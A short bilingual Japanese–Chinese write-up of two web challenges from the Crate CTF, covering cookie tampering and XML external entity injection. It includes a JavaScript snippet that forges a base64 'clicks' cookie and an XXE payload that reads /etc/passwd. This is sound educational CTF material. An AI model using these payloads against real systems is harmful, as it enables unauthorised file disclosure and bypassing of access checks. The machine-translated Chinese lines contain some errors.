はじめに 起先
今回はsknbでcrate ctfに参加してきました。
这一次,我参加了 SKNB 的 CRATE CTF。
夜の10時から朝6時という大会時間で、かつ言語はスウェーデンなので、いつもと違う環境でのCTFでした。
比赛时间是从晚上 10 点到早上 6 点,语言是瑞典语,所以环境与平时不同。
結果としては148位でした。 结果,它排名第 148 位。
Webの問題で解けそうな問題を2つ落としてしまったのが悔しかったです。
我很沮丧,因为我放弃了两个可以在 Web 问题中解决的问题。
KaKlickare
ホームページに行くとGet the flag!と書かれたボタンが出るので
当您转到主页时,您会看到一个按钮,上面写着 Get the flag!
それを押すと、1000000000回クリックしろと言われます。
当你按下它时,它会告诉你点击 100000000000 次。
リクエストを見ると、Cookieヘッダのclicksの値で判定しているので
如果您查看请求,它是根据 cookie 标头中的点击值来判断的。
clicksを以下のコードで改ざんし、リクエストを送信することでフラグが手に入ります。
您可以通过使用以下代码篡改点击并发送请求来获取该标志。
(async () => {
const baseUrl = "http://challs.crate.nu:50012/";
const clickCnt = "1000000000";
const res = await fetch(baseUrl + "flag.php", {
method: "POST",
headers: {"Cookie": `clicks=${btoa(clickCnt)}`}
});
console.log(await res.text());
})();
XML-kontroll
XMLを入力するページが出てきます。 您将看到一个可以输入 XML 的页面。
ここですぐにXXEを思いつきました。 在这里,我立即想到了 XXE。
XMLには実体という変数のような機能があります。 XML 具有一个称为实体的类似变量的函数。
実体を定義するとXML中にそれを&実体名
で記述すると
如果你定义了一个实体,你可以在XML中使用&实体名称
来描述它。
実体の内容を参照することができます。 您可以引用实体的内容。
外部実態参照(XXE)とは実体の内容に外部のデータを使用できるというものです。
外部现实参考 (XXE) 意味着外部数据可用于实体的内容。
例えばローカルファイルもそれに含まれます。 例如,这包括本地文件。
以下の実態を用いて/etc/passwdの内容を取得したところ、ユーザ名にフラグが書いてありました。
当我使用以下现实检索 /etc/passwd 的内容时,用户名中写入了一个标志。
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]><data>&example;</data>
おわりに 结论
私が大会中はこの2つを解きました。 我在比赛期间解决了这两个问题。
この他に3つWeb問がありましたが、その2つは自分の知っていた脆弱性だったので
还有其他三个 Web 问题,其中两个是我知道的漏洞。
解けなかったのが悔しかったです。 我很沮丧,因为我无法解决它。
次はSeccon Qualsなので気合入れていきます。
接下来是 Seccon Quals,所以我会很兴奋。
原文始发于sota70:Crate CTF Writeup